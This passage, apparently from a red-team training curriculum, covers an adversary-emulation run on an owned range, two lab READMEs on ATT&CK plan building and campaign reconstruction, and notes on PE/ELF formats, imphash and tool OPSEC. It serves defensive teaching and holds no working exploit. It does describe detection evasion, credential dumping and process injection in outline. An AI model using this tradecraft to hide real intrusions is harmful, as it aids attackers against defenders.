• The deconfliction contact and stop conditions are written into the run sheet before step 1.
• Egress is deny-by-default; the only "C2" is your owned framework to an owned host.

Verify telemetry is actually flowing before you attack (you cannot score coverage on a sensor that is not collecting):

operator → run a benign marker (e.g., `whoami` in a new shell on the victim)
detection → confirm Sysmon EID 1 (process create) for that shell arrived in the SIEM

If the marker does not show up, fix collection first. A blind sensor produces a false "gap."

2. Pick the actor and pull the CTI

For Operation Cedar Lattice the actor is FIN-LATTICE, a financially-motivated intrusion set. Pull its profile the way you would in a real engagement:

• the actor's ATT&CK Group page (its documented techniques),
• a CTID Adversary Emulation Plan if one exists for a comparable group,
• vendor intel and M-Trends for sector relevance,
• map each documented procedure up to a technique id (WARMUP Chapter 4).

FIN-LATTICE's profile for this run:

T1566  Phishing                       (initial-access)
T1059  Command and Scripting Interp.  (execution)
T1003  OS Credential Dumping          (credential-access)
T1021  Remote Services                (lateral-movement)
T1071  Application Layer Protocol C2  (command-and-control)
T1486  Data Encrypted for Impact      (impact)

That flat list is not the plan — it is the input to Lab 01.

3. Build the plan (Lab 01)

Feed the profile to the builder. The builder orders the techniques along the lifecycle, attaches a procedure stub + the telemetry each emits + a detection idea + success criteria, and computes coverage and gaps.

cd lab-01-emulation-plan-builder
LAB_MODULE=solution python3 -c "
import solution as s
for step in s.build_plan(['T1486','T1566','T1021','T1059','T1071','T1003']):
    print(step['step'], step['tactic'], step['technique'], '-', step['name'])
print('coverage:', s.coverage_summary(['T1566','T1059','T1003','T1021','T1071','T1486']))
print('gaps:', s.coverage_gaps(['T1566','T1059','T1003','T1021','T1071','T1486']))
"

Expected (deterministic, ordered along the lifecycle):

1 initial-access     T1566 - Phishing
2 execution          T1059 - Command and Scripting Interpreter
3 credential-access  T1003 - OS Credential Dumping
4 lateral-movement   T1021 - Remote Services
5 command-and-control T1071 - Application Layer Protocol
6 impact             T1486 - Data Encrypted for Impact
coverage: {'initial-access': 1, 'execution': 1, 'credential-access': 1, 'lateral-movement': 1, 'command-and-control': 1, 'impact': 1}
gaps: ('reconnaissance', 'resource-development', 'persistence', 'privilege-escalation', 'defense-evasion', 'discovery', 'collection', 'exfiltration')

Read the gaps line as a finding, not noise. It says: an emulation of FIN-LATTICE alone never tests Meridian's discovery, persistence, or exfiltration detections. That is a blind spot in your assessment (distinct from a blind spot in the defense) — and naming it is the staff-level move (WARMUP Chapter 5).

4. Turn each step into a run sheet entry

For every plan step, before you run anything, write down:

This is the run sheet. No step runs without all seven fields filled.

5. Run the procedures — Atomic-Red-Team style, on the OWNED range

You execute each technique as a small, scoped, ATT&CK-mapped test against your owned victim host — the Atomic Red Team model. The point is to emit the behavior the sensor sees, not to cause harm:

• T1566 Phishing — deliver a seeded benign pretext from owned infra to a seeded mailbox in the range. (No live recipients, ever.)
• T1059 Execution — run a benign loader-shaped command in a new shell on the victim.
• T1003 Credential Access — run the documented check against a marker credential store (synthetic), so EID 10 fires without touching real secrets.
• T1021 Lateral Movement — authenticate from the operator host to a second owned victim over an authorized admin protocol, producing a type-3 logon.
• T1071 C2 — beacon from your owned C2 framework to an owned host over its documented profile.
• T1486 Impact — model the impact stage with a benign marker (rename a canary file, delete a test shadow copy) — never real encryption, never real data.

After each, ping the deconfliction contact ("step N complete"). Snapshot/revert between destructive- shaped steps.

6. Observe the telemetry

For each step, go to the detection range and confirm the expected data source actually produced the event:

Record one of three outcomes per step (WARMUP Chapter 5):

DETECTED      data source present AND a rule fired
VISIBLE-ONLY  data source present, NO rule fired      → detection gap (costs a rule)
BLIND         data source NOT present                  → visibility gap (costs a sensor)

7. Score detection coverage

Build the coverage scorecard from the per-step outcomes. The simplest honest artifact is the ATT&CK Navigator layer colored by outcome:

T1566  DETECTED       (gateway flagged the pretext)         green
T1059  VISIBLE-ONLY   (EID 1 present, no analytic)          yellow → detection gap
T1003  DETECTED       (LSASS-handle rule fired)             green
T1021  VISIBLE-ONLY   (logon present, no lateral analytic)  yellow → detection gap
T1071  BLIND          (no egress/proxy logging on that VLAN) red    → visibility gap
T1486  DETECTED       (VSS-delete rule fired)               green

This scorecard is the Phase 01 portfolio artifact (alongside the plan). It is evidence, not belief — because it came from a live run, not a guess (WARMUP Chapters 5, 11).

8. Reconstruct the campaign (Lab 02)

Feed the observed events — scattered and out of order, as the SOC really sees them — to the reconstructor to produce the campaign narrative, the furthest stage reached, the earliest break point, and the Diamond pivot.

cd ../lab-02-killchain-campaign-reconstructor
LAB_MODULE=solution python3 -c "
import solution as s
evs = [
  s.Event('e5',500,'T1486',infrastructure='203.0.113.7',capability='LatticeCrypt'),
  s.Event('e1',100,'T1566',infrastructure='mail.evil.test',capability='LatticeLoader'),
  s.Event('e3',300,'T1021',capability='LatticeLoader'),
  s.Event('e2',200,'T1059'),
  s.Event('e4',400,'T1071',infrastructure='203.0.113.7'),
]
print('order:', [r['event_id'] for r in s.reconstruct(evs)])
print('furthest:', s.furthest_tactic(evs))
print('earliest break:', s.earliest_break(evs))
print('pivot on infra:', s.pivot(evs, on='infrastructure'))
print('pivot on capability:', s.pivot(evs, on='capability'))
"

Expected:

order: ['e1', 'e2', 'e3', 'e4', 'e5']
furthest: impact
earliest break: {'tactic': 'initial-access', 'technique': 'T1566', 'break_control': 'phishing-resistant MFA; SPF/DKIM/DMARC; user reporting'}
pivot on infra: (('e4', 'e5'),)
pivot on capability: (('e1', 'e3'),)

Read it as the report does: the actor reached impact; the cheapest place to have stopped it was initial-access (phishing-resistant MFA — "defend left"); and the Diamond pivot links the C2 event to the impact event (shared C2 203.0.113.7) and the phish to the lateral move (shared LatticeLoader), so the SOC should have connected those alerts into one campaign.

9. The purple-team replay

Now collapse the gaps. Sit red and blue together and run the per-technique loop (WARMUP Chapter 11) for every VISIBLE-ONLY and BLIND outcome from §7:

for each gap technique:
  1. red re-runs the Atomic-style test on the owned range
  2. blue watches their tooling live
  3. BLIND        → deploy/configure the sensor, then go to (1)
     VISIBLE-ONLY → write the detection rule now (Sigma-style)
  4. red RE-RUNS the technique → confirm the rule fires (regression)
  5. flip the Navigator cell yellow/red → green; record the rule id

Example for T1059 (visible-only → detection):

detection: process_creation where parent in (winword.exe, outlook.exe)
           and child in (powershell.exe, cmd.exe, wscript.exe)
red re-runs T1059 from a doc-shaped parent → rule fires → cell goes green → KEEP this rule

The durable output is the set of new, regression-confirmed detections the client keeps — the difference between "we got domain admin" and "you now detect FIN-LATTICE's techniques."

10. Evidence packet and teardown

Evidence packet (the sanitized, public-safe portfolio artifact):

• the emulation plan (Lab 01 output): ordered steps, procedures, telemetry, detections, success criteria, stop conditions;
• the ATT&CK Navigator layer: coverage + the gap map (§3) and the post-replay colored scorecard (§7);
• the campaign reconstruction (Lab 02 output): order, furthest stage, earliest break, Diamond pivot;
• the new detections written in the purple replay (§9), with their regression results;
• a short narrative mapping the run to the Mandiant lifecycle for the executive briefing.

Hash every artifact at collection; record source, time, collector, timezone, and any transformation. Never include real targets, credentials, personal data, or any C2/payload artifact.

Teardown:

1. revert every victim host to its pre-run snapshot
2. tear down the owned C2 and phishing infra in the range
3. confirm deny-by-default egress is restored
4. ping the deconfliction contact: engagement window closed
5. archive the evidence packet to the isolated management network only

11. Expected observations (so you know it worked)

• The plan comes back ordered along the lifecycle and deterministic — same input, same plan.
• Every step ships a procedure, telemetry, a detection, and a success criterion (the pairing).
• The gap line correctly lists the tactics FIN-LATTICE never exercises (recon, persistence, privesc, defense-evasion, discovery, collection, exfiltration, resource-development).
• The campaign reconstructs to e1..e5; furthest = impact; earliest break = initial-access / T1566; the Diamond pivot links the two C2/impact events and the two loader events.
• Each technique you ran produced its expected data source in the SIEM (or you found and fixed the visibility gap first).
• After the purple replay, every VISIBLE-ONLY cell that you wrote a rule for flips to DETECTED on re-run — the regression proves the detection is real.

12. Common false claims (and the truthful version)

If you can run this loop end to end on your own range — pick the actor, build the plan, run it safely, score honest coverage, reconstruct the campaign, and walk away with regression-confirmed detections — you have done the core of what Operation Cedar Lattice asks of Phase 01, and the core of what a Mandiant red team consultant does on a real adversary-emulation engagement.

Lab 01 — CTI-to-Emulation-Plan Builder

Lenses: MITRE ATT&CK (tactics → techniques → procedures) + threat-informed defense. WARMUP: Chapters 3–6, 9, 11. Engagement tie-in: this is the Phase 01 deliverable for Operation Cedar Lattice — turning CTI on FIN-LATTICE into the ATT&CK-mapped emulation plan the rest of the engagement executes.

The problem

Adversary emulation does not start with a tool — it starts with threat intelligence. A CTI analyst gives the red team a flat, unordered fact: "FIN-LATTICE has been observed using techniques T1566, T1059, T1003, T1021, T1071, T1486." That list is not a plan. A plan is ordered along the attacker lifecycle, grouped by ATT&CK tactic, and — the part that separates a red team from a pentest — detection-paired: every step ships the telemetry the behavior emits and the detection that should fire on it, plus an explicit success criterion. That is what makes the artifact a purple-team plan the client keeps, not a throwaway attack script.

This lab turns the CTI profile into that plan and answers two analyst questions ATT&CK Navigator is built to answer: which tactics does this actor exercise (coverage)? and which tactics would we NOT test if we only emulate this actor (gaps)?

What you build (lab.py)

• classify(tid) — {technique, name, tactic, order, procedure, telemetry, detection} for any technique id (unknown ids degrade to a documented unknown record, never crash).
• detection_for(tid) — the break-the-chain / purple-team detection idea for a step.
• build_plan(actor_tids) — the ordered, de-duplicated, numbered emulation plan. Each step carries the procedure stub, the telemetry/data-source it emits, the detection idea, and a success criterion. Ordering is (lifecycle order, technique id) so the plan reads top-to-bottom as one campaign and is deterministic.
• tactics_covered(actor_tids) — distinct tactics the actor exercises, in lifecycle order.
• coverage_summary(actor_tids) — techniques-per-tactic ({tactic: count}) — the Navigator coverage view.
• coverage_gaps(actor_tids, all_tactics) — the lifecycle tactics the actor does not exercise — the threat-informed-defense "what would we miss?" question.

ATT&CK mapping

The corpus is a representative slice of ATT&CK Enterprise, one technique per cell of the lifecycle (reconnaissance → … → impact). Each row carries its ATT&CK tactic, a procedure stub (what the operator runs against the owned range), the ATT&CK data source / telemetry the behavior emits, and a detection idea. FIN-LATTICE's profile (T1566 → T1059 → T1003 → T1021 → T1071 → T1486) is a canonical financially-motivated chain: phish in, execute, dump creds, move laterally, beacon out, ransom.

Attack cases the tests cover

• An actor profile given out of lifecycle order is reconstructed into an ordered, numbered plan (initial-access → execution → credential-access → lateral-movement → C2 → impact).
• Every step ships a procedure, telemetry, a detection, and a success criterion (the detection pairing the standard requires).
• coverage_summary counts techniques per tactic and preserves lifecycle order.
• coverage_gaps returns the uncovered tactics in order, and respects a custom tactic sub-frame.
• Unknown techniques are handled (sorted last, flagged as a detection gap) and never crash the plan; duplicates are de-duplicated; empty input yields an empty plan with all tactics as gaps.
• Output is deterministic and independent of input order.

Run

pip install -r requirements.txt
LAB_MODULE=solution pytest -q   # reference passes (14 tests)
pytest -q                        # your implementation after the TODOs

Hardening / detection (the purple-team pairing)

This lab is the detection-pairing exercise: the plan's value to the client is the column that says, for each emulated behavior, what telemetry it emits and what detection should fire. On the range (see HITCHHIKERS-GUIDE.md) you run each step, observe whether the data source actually produced the event, and whether the detection fired — turning the plan into a detection-coverage scorecard.

Extensions (your own isolated range)

• Load the real ATT&CK STIX bundle (full technique → tactic mapping, multi-tactic techniques, sub-techniques) instead of the slice.
• Emit an ATT&CK Navigator layer (JSON) coloring covered techniques by tactic — the standard hand-off artifact.
• Join each technique to Atomic Red Team test ids so the plan is directly runnable on the range.
• Score the plan against a SOC data-source inventory: a technique whose data source is not being collected is a visibility gap, distinct from a detection gap.
• Rank steps by Pyramid of Pain level so the plan exercises the controls that cost the actor most.

Interview / resume

"Built a CTI-to-emulation-plan builder that turns a named actor's observed ATT&CK techniques into an ordered, lifecycle-sequenced engagement plan — each step paired with the telemetry it emits, a detection idea, and a success criterion — and computes per-tactic coverage and the threat-informed gaps an emulation of that single actor would leave untested."

Limitations: a representative technique slice, not the full ATT&CK matrix; single-tactic per technique (real techniques can map to several); no sub-technique granularity; lifecycle order approximated by ATT&CK Enterprise tactic order; procedures are stubs over synthetic metadata — there are no payloads, no live targets, and no weaponization here.

Lab 02 — Kill-Chain Campaign Reconstructor + Diamond-Model Pivot

Lenses: Cyber Kill Chain + MITRE ATT&CK (the chain) and the Diamond Model (the pivot). WARMUP: Chapters 2, 4, 7, 8. Engagement tie-in: the purple-team replay of Operation Cedar Lattice — after the FIN-LATTICE emulation runs, the SOC's scattered alerts are reconstructed into one campaign narrative, and the analyst pivots on shared C2 to find the events they missed.

The problem

An intrusion never arrives as a tidy timeline. It arrives as scattered, out-of-order events — an alert from the mail gateway, a Sysmon process-create three hours later, a proxy log entry from before either. The analyst's first job is to turn that pile into a campaign: order it along the attacker lifecycle, report how far the adversary got, and find the earliest, cheapest place to break the chain ("defend left" — the lower the tactic, the more downstream damage a control there prevents).

But ordering is only the kill-chain view ("how far along?"). The second analytic move is the Diamond Model view ("what else is connected?"): two events that used the same C2 infrastructure or the same capability (loader/malware) are likely the same campaign — even when you cannot yet name the adversary. That pivot is how a threat-intel analyst expands from one indicator to the rest of the intrusion and toward attribution.

This lab does both: reconstruct + break-point on one axis, Diamond pivot on the other.

What you build (lab.py)

• classify(technique_id) — {technique, name, tactic, order, break_control} (unknown ids sort last).
• reconstruct(events) — order events by (tactic order, timestamp, event_id), preserving the Diamond meta-features.
• tactics_reached(events) / furthest_tactic(events) — "how far along is this intrusion?" (furthest_tactic ignores unplaceable/unknown techniques — you cannot claim a stage you cannot map).
• earliest_break(events) — the lowest-order placeable event and the control that breaks the chain there.
• pivot(events, on='infrastructure'|'capability') — the Diamond pivot: clusters of events sharing a non-None value of that meta-feature, linked transitively, returned as sorted id-tuples (singletons dropped — a lone event has nothing to pivot to).

ATT&CK / framework mapping

Events map to the same representative ATT&CK technique slice as Lab 01, sequenced by Enterprise tactic order (the kill chain). The infrastructure and capability fields are the Diamond Model meta-features (the lower vertices: infrastructure and capability); pivot is the shared-meta-feature correlation that the WARMUP's Diamond chapter describes.

Attack cases the tests cover

• A FIN-LATTICE ransomware intrusion observed out of order is reconstructed into lifecycle order (phish → execution → lateral movement → C2 → impact), with the Diamond features preserved.
• furthest_tactic reports the deepest placeable stage; earliest_break returns the lowest-order tactic (preferring reconnaissance when present) with its control.
• pivot(on='infrastructure') links the two events sharing a C2 IP; pivot(on='capability') links the two sharing a loader; pivoting is transitive; None values and singletons are ignored; an unsupported feature raises ValueError.
• Unknown-only input is unplaceable (no furthest tactic, no break point); empty input is handled; reconstruction and pivot are deterministic.

Run

pip install -r requirements.txt
LAB_MODULE=solution pytest -q   # reference passes (16 tests)
pytest -q                        # your implementation after the TODOs

Hardening / detection (the break-the-chain pairing)

earliest_break is the detection pairing: for the cheapest stage in the chain it names the control that would have stopped the campaign before it deepened. The reconstruction also makes the detection-gap narrative explicit — every tactic the chain reached that the SOC did not alert on is a gap the purple-team replay (HITCHHIKERS-GUIDE.md) turns into a durable detection. The Diamond pivot is itself a defensive tool: once you have one C2 indicator, pivoting finds every other event that touched it, so you can scope and contain the whole intrusion, not just the alert you saw.

Extensions (your own isolated range)

• Add the victim and adversary vertices and infer attribution-by-association across a pivoted cluster (flag conflicting adversaries — pivoting can mislead).
• Score dwell time (first-to-last event) and flag the longest undetected gap between stages.
• Emit an ATT&CK Navigator layer of the reconstructed campaign.
• Weight infrastructure indicators by Pyramid of Pain level — pivoting on a TTP is far more durable than pivoting on an IP the actor rotates daily.
• Load the real ATT&CK STIX bundle for full technique → tactic coverage and sub-techniques.

Interview / resume

"Built a campaign reconstructor that orders scattered security events along the ATT&CK lifecycle, reports how far an intrusion progressed and the earliest break point with its control ('defend left'), and a Diamond-Model pivot that links events sharing infrastructure or capability into one campaign — the analytic move behind threat correlation and scoping."

Limitations: a representative technique slice, not the full ATT&CK matrix; single tactic per technique; lifecycle order approximated by Enterprise tactic order; pivoting uses exact-match meta-features (no fuzzy/derived indicators); reasons over synthetic event metadata only — no payloads, no live targets, no weaponization.

« Red Team Engineer

Phase 02 — Offensive Tooling Development (Analysis, Formats & IOC Hygiene)

Operation Cedar Lattice, Phase 02. Phase 01 produced the emulation plan — which actor FIN-LATTICE is, which techniques they use, in which order. Before executing the plan, a consultant must understand the tools that implement those techniques: their binary formats (so you can triage them), the Indicators of Compromise (IOCs) they leave behind (so you can tell the client what to look for), and the OPSEC hygiene that separates a noisy tool from an engagement-grade one.

This phase is a static-analysis and triage phase, not a build phase. The labs are a PE/ELF format parser (parsing binary headers from bytes, classifying tooling type, extracting imphash and export table) and a tooling IOC / OPSEC linter (checking a tooling inventory against an OPSEC checklist and flagging noise indicators). They work on synthetic binary metadata — no live malware, no shellcode, no deployable offensive artifact.

Safety (non-negotiable). Authorized security-education only. The labs in this phase are static analyzers and OPSEC linters over synthetic binary metadata dicts. There is no weaponized payload, no shellcode, no working implant, no PE injection, and no deployable offensive artifact in this repo. Understanding binary formats is how defenders triage tooling in a DFIR case. OPSEC hygiene is how red teams leave fewer traces for blue teams to detect — the reverse is equally true. Same boundary as all other phases.

Why this phase exists

Every technique in the emulation plan is implemented by a tool — a binary, a script, or a LOLBin. Understanding what that tool looks like from the inside (its PE/ELF structure, its import table, its strings, its imphash) is the common language between the red team consultant and the incident responder who found the tool in a DFIR case. The JD explicitly requires "experience with offensive tooling development" across C#, C/C++, Python, Nim, and Go — understanding the binary formats those languages produce is the prerequisite to using or triaging that tooling.

OPSEC hygiene — the practice of configuring tools to minimize the traces they leave — is part of what distinguishes an engagement-grade tool from a noisy one. A tool that ships its default compilation artifacts, default C2 strings, and a well-known imphash is easily blocklisted and detected within minutes. Knowing which indicators a tool creates, which logging plane sees them, and which ones the analyst uses to build detections is both the red team's concern (minimize noise) and the blue team's concern (maximize detection surface). Both perspectives are trained here.

Learning Objectives

By the end of this phase you can, without notes:

1. Describe the PE (Portable Executable) format: DOS MZ header, NT headers (IMAGE_NT_HEADERS), optional header (AddressOfEntryPoint, SizeOfImage, Subsystem), section table (.text, .data, .rdata, .rsrc), Import Directory Table (IDT) and Import Address Table (IAT), Export Directory Table.
2. Describe the ELF format parallel: ELF header (e_type, e_machine, e_entry, e_phoff), program headers (segments), section headers (.text, .data, .rodata, .dynamic), dynamic symbol table, .rel.plt/.rela.plt.
3. Compute and explain imphash (the MD5 of the normalized import table name list) and explain why it is used for classification and attribution — and why it fails at the bottom of the Pyramid of Pain.
4. Name the OPSEC indicators a tool can leave: compilation artifacts (default PDB path, linker version, compile time stamp), behavioral indicators (default named pipes, default beacon URIs, default user-agent strings, well-known imphash families), and log-plane indicators (Sysmon EID 7 image load, ETW image-load callbacks, process-creation command lines).
5. Explain the tooling IOC taxonomy used in engagement reporting: host-based IOCs (file hash, imphash, PDB path, strings), network-based IOCs (JA3/JA4, URI pattern, user-agent), and behavioral IOCs (API call sequence, named-pipe name, parent-child relationship).
6. Apply the Pyramid of Pain to tooling IOCs: hash/imphash at the bottom (trivial to change), behavioral TTPs at the top (costly to change), and explain which detection is worth engineering.
7. Apply an OPSEC linter checklist to a tool inventory and rank the highest-noise items.

The binary format model

PE (Windows)                              ELF (Linux)
─────────────────────────────────────────────────────────────────────────
DOS header (MZ magic 4D5A)               ELF header (magic 7F454C46)
PE signature ("PE\0\0")                  e_type (ET_EXEC / ET_DYN)
IMAGE_FILE_HEADER                        e_machine (EM_X86_64)
  Machine (0x8664 = x86-64)              e_entry (virtual entry point)
  NumberOfSections                       e_phoff → program headers
  TimeDateStamp (compilation time)
IMAGE_OPTIONAL_HEADER                    Program headers (segments)
  Magic (PE32+ = 0x20B)                  .text (rx) / .data (rw) / .bss
  AddressOfEntryPoint                    .dynamic → dynamic linker info
  SizeOfImage
  Subsystem (2=GUI, 3=CUI, 14=EFI)      Section headers
  DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT] .text / .data / .rodata / .dynamic
                                          .dynsym (dynamic symbol table)
Section table (.text, .data, .rdata,      .rel.plt / .rela.plt
  .rsrc, .reloc, ...)

Import Directory Table (IDT)             Dynamic linking (equivalent)
  DLL name → IAT entries → function       .dynamic / .dynsym / PLT → GOT
  names + ordinals
  imphash = MD5(sorted normalized list)

Export Directory Table
  function name → VA

Why the import table matters for detection. A Windows binary's IDT is the list of DLLs and functions it calls. Forensic tools (imphash, pe-sieve, capa) use the import table to classify tool families. A Cobalt Strike beacon has a distinctive import table; so does mimikatz; so does a legitimate system binary. The imphash provides a fingerprint at medium cost (recompiling changes it; adding a dummy import changes it). Detection at the TTP level — "this process called NtAllocateVirtualMemory → NtWriteVirtualMemory → NtProtectVirtualMemory via ETW-TI" — survives the recompile.

Concepts

Labs

Each lab follows LAB-STANDARD.md: lab.py (TODOs), solution.py (reference), adversarial test_lab.py, README.md, requirements.txt — pure Python stdlib + pytest, offline, deterministic.

cd lab-01-pe-format-analyzer
LAB_MODULE=solution python3 -m pytest -q   # reference passes (14 tests)

cd ../lab-02-tooling-ioc-opsec-linter
LAB_MODULE=solution python3 -m pytest -q   # reference passes (15 tests)

Deliverables

• A PE/ELF format analyzer that classifies synthetic binary metadata (tooling type, imphash, OPSEC-relevant header fields) and maps each finding to its detection layer and Pyramid-of-Pain level.
• A tooling IOC / OPSEC linter that scores a tooling inventory against a noise checklist and returns a ranked list of OPSEC findings with detection descriptions.
• The Operation Cedar Lattice Phase 02 artifact: the FIN-LATTICE tooling inventory triage — which tools are in-scope for the engagement, their binary-format fingerprints, their OPSEC noise score, and the detections that would catch each one at each layer (imphash, behavioral, network). Over synthetic metadata; no real malware.
• Fluency to explain PE/ELF structure, the import table, imphash, the IOC taxonomy, the Pyramid of Pain applied to tooling, and OPSEC hygiene — in an interview.

Readings (primary sources)

• Microsoft PE/COFF specification — learn.microsoft.com/windows/win32/debug/pe-format — the authoritative reference for every field in the PE header and data directories.
• ELF specification (Tool Interface Standard) — refspecs.linuxbase.org/elf/elf.pdf.
• MITRE ATT&CK: T1027 (Obfuscated Files/Information), T1055 (Process Injection), T1071 (Application Layer Protocol), T1090 (Proxy / redirectors).
• mandiant/capa — open-source tool that matches PE capabilities against ATT&CK techniques; read the rule format to understand what behavioral features are extractable from static analysis.
• imphash — Mandiant blog post "Tracking Malware with Import Hashing" (2014, Carhart). The original definition and motivation.
• David Bianco — The Pyramid of Pain. Applied to tooling IOCs, not just indicators generically.
• Sigma specification — detection rule format used to express tooling detections; a logsource: category: image_load rule detects specific DLL loads (Sysmon EID 7).
• The Art of Memory Forensics (Ligh et al.) — chapters on PE structure and import/export analysis for forensic triage.

Common Mistakes

• Treating imphash as a durable detection. Imphash changes with a recompile or a single dummy import added. It is useful for family classification but sits at the bottom of the Pyramid of Pain. Engineer the behavioral detection in addition to logging the hash.
• Ignoring the compilation timestamp. The TimeDateStamp field in IMAGE_FILE_HEADER is a default-on IOC that dates a compiled binary (and can be spoofed, but by default is not). A tool compiled today with a 2019 timestamp is a default artifact; one compiled in 2015 is either old or timestamp-stripped.
• Confusing subsystem values. Subsystem 2 (Windows GUI) is unusual for a command-line tool and may indicate a GUI wrapper or a PE that hides its console. Subsystem 3 (Windows CUI) is expected for typical red-team tooling. Misreading subsystem leads to wrong classification.
• Missing the export table for DLL/reflective-loader detection. A DLL loaded reflectively has an export table even when it has no disk representation. The export table name list (ReflectiveDll, DllMain) is one of the first classifiers in a DFIR case.
• OPSEC hygiene as a binary on/off. It is a ranked, contextual property: some indicators matter more in certain environments (a known-bad imphash matters more if the client has imphash-based blocking; a default named pipe matters if they have Sysmon EID 17/18 configured). The linter ranks by impact, not by presence.
• Confusing a format analyzer with a malware scanner. The lab analyzes structural metadata — it does not execute the binary, sandbox it, or detect malicious behavior through dynamic analysis. Static analysis is the first pass; it is fast but misses packed/obfuscated content.

Interview Questions

1. Walk me through the PE format from the DOS header to the import table. What fields matter most for triage?
2. What is imphash, how is it computed, and where does it sit on the Pyramid of Pain? When is it useful and when is it not?
3. Explain the difference between the Import Directory Table and the Import Address Table in a PE. Why does the IAT matter for detecting process injection?
4. What OPSEC indicators does a compiled tool leave by default? Name three and their detection.
5. How does the ELF .dynamic section compare to the PE import table for tooling classification?
6. You find a binary with no import table entries. What are the likely explanations, and how do you triage further?
7. A tool has a known-bad imphash. The attacker recompiles it with one dummy import. Does your detection survive? What would you build instead?
8. Walk me through how you would produce the tooling triage artifact for a real engagement — what you would analyze, what output you would give the client, and what detections you would recommend.

(Full answers are in WARMUP.md.)

Portfolio artifact

FIN-LATTICE tooling triage for Operation Cedar Lattice — the per-tool analysis (PE/ELF structure summary, imphash, OPSEC noise score) for the two synthetic tool samples in the engagement inventory; the ranked OPSEC findings for each tool; and the detection-layer map (host hash, imphash family, named-pipe name, network JA3, behavioral TTP) that tells Meridian where to invest detection. All over synthetic metadata, no real malware. Part of 02-tooling/ in the capstone portfolio.

Guides

• WARMUP.md — the from-zero deep dive: PE/ELF binary formats (field by field), imphash, export table, IOC taxonomy (host/network/behavioral), the Pyramid of Pain applied to tooling, and OPSEC hygiene — every indicator paired with its detection layer.
• HITCHHIKERS-GUIDE.md — on an owned range: use objdump/dumpbin on allowed system binaries to observe PE/ELF structure live; feed the output as synthetic dicts into the lab analyzers; interpret the OPSEC linter output and write a Sigma rule for the highest-noise finding.

WARMUP — Offensive Tooling Development (Analysis, Formats & IOC Hygiene)

From zero to principal-level. Binary formats built field by field. IOC taxonomy from the Pyramid of Pain. OPSEC hygiene mapped to detection. Every indicator paired with the log that catches it.

Table of Contents

• Chapter 1 — Why Tooling Literacy Is the Engagement's Foundation
• Chapter 2 — The PE Format, Field by Field
• Chapter 3 — The ELF Format, Field by Field
• Chapter 4 — imphash and the Import Table as a Detection Surface
• Chapter 5 — IOC Taxonomy: Host, Network, and Behavioral
• Chapter 6 — The Pyramid of Pain Applied to Tooling
• Chapter 7 — OPSEC Hygiene: What a Tool Leaves Behind and Why
• Chapter 8 — Detection Engineering for Tooling
• Chapter 9 — Tooling Languages and Their Binary Characteristics
• Chapter 10 — Misconceptions
• Lab Walkthrough
• Success Criteria
• Common Mistakes and OPSEC
• Interview Q&A
• References

Chapter 1 — Why Tooling Literacy Is the Engagement's Foundation

What "tooling literacy" means

A red team engagement uses tools to implement techniques. The tool's job is to produce the technique's observable footprint — and that footprint is what the engagement produces for the client to detect. Tooling literacy is the ability to read and reason about a tool's binary structure, configuration, and operational footprint — without necessarily knowing or disclosing its source code or how to develop weaponized variants.

This has three sub-skills:

1. Triage — given a binary (or a metadata summary of one), classify it: what type of tooling, what language, what capability indicators, what family.
2. IOC inventory — enumerate the indicators that tool produces on host (imphash, strings, named pipes, PDB paths), on the network (JA3, user-agent, URI patterns), and in behavior (API call sequences, parent-child relationships).
3. OPSEC assessment — score how loud the tool is, which indicators are default-on and commonly known to blue teams, and which mitigations would reduce the signal.

All three are bidirectional: the red team uses them to assess whether a tool is fit for engagement use; the blue team uses them to triage and classify tooling found in an incident.

Why it is Phase 02

Phase 01 produced the technique list. The techniques map to tools. Before Phase 03–05 execute those techniques, the consultant must know what artifact those tools leave. The OPSEC linter output from Phase 02 shapes which tools are used, how they are configured, and what detections the engagement will validate. The triage output feeds the evidence manifest and the detection-gap map.

Chapter 2 — The PE Format, Field by Field

2.1 Overview

A Portable Executable (PE) is the binary format for Windows executables, DLLs, drivers, and related file types. The format is documented in the Microsoft PE/COFF specification.

The on-disk layout from offset 0:

Offset  Size  Structure
──────────────────────────────────────────────────────────────
0x00    64    IMAGE_DOS_HEADER  (begins "MZ" = 0x4D5A)
  0x3C   4    e_lfanew → offset of IMAGE_NT_HEADERS
─────────────────── (followed by DOS stub, then at e_lfanew:)
+0x00   4    Signature = "PE\0\0" = 0x50450000
+0x04  20    IMAGE_FILE_HEADER
  +0x00  2    Machine      (0x8664 = AMD64, 0x14C = i386, 0xAA64 = ARM64)
  +0x02  2    NumberOfSections
  +0x04  4    TimeDateStamp  ← compilation timestamp (Unix epoch)
  +0x08  4    PointerToSymbolTable (0 in non-COFF)
  +0x0C  4    NumberOfSymbols
  +0x10  2    SizeOfOptionalHeader
  +0x12  2    Characteristics  (IMAGE_FILE_DLL bit 0x2000)
+0x18  240   IMAGE_OPTIONAL_HEADER (PE32+)
  +0x00  2    Magic (0x20B = PE32+, 0x10B = PE32)
  +0x02  1    MajorLinkerVersion
  +0x03  1    MinorLinkerVersion
  +0x10  8    AddressOfEntryPoint (RVA)
  +0x1C  8    ImageBase (preferred load address)
  +0x28  4    SizeOfImage
  +0x3C  2    Subsystem
              1=native, 2=GUI, 3=CUI, 14=EFI app
  +0x5C  8    DataDirectory[0] = Export Directory
  +0x64  8    DataDirectory[1] = Import Directory  ← key for imphash
  +0x68  8    DataDirectory[2] = Resource Directory
  +0x98  8    DataDirectory[5] = Base Reloc
  +0xA0  8    DataDirectory[6] = Debug Directory   ← PDB path here
─────────────────── Section table (NumberOfSections entries of 40 bytes each)
  .text    code (characteristics: r-x)
  .data    mutable globals (rw-)
  .rdata   read-only data: strings, import hints, vtable (r--)
  .rsrc    resources (icons, version info, manifests)
  .reloc   base relocation table
  .pdata   exception unwind info (x64)

2.2 The Import Directory Table (IDT) and Import Address Table (IAT)

The IDT is DataDirectory[1]: a null-terminated array of IMAGE_IMPORT_DESCRIPTOR structures, one per imported DLL. Each descriptor points to:

• A DLL name (ASCII string).
• An INT (Import Name Table): the functions this binary imports from that DLL, by name or ordinal.
• An IAT (Import Address Table): at load time, the loader resolves each import and writes the function's virtual address into the IAT. The code calls through the IAT, not the INT.

At runtime in memory, the IAT is the live jump table: CALL QWORD PTR [IAT+offset]. Process injection overwrites an IAT entry to redirect a function call to attacker-controlled code — which is why ETW-TI tracks NtWriteVirtualMemory targeting another process's address space.

2.3 The Debug Directory and PDB Path

DataDirectory[6] points to one or more IMAGE_DEBUG_DIRECTORY structures. The TYPE_CODEVIEW entry contains (for a PDB-debug binary) the path to the Program Database file:

RSDS signature + PDB GUID + Age + NUL-terminated PDB path

Default paths reveal:

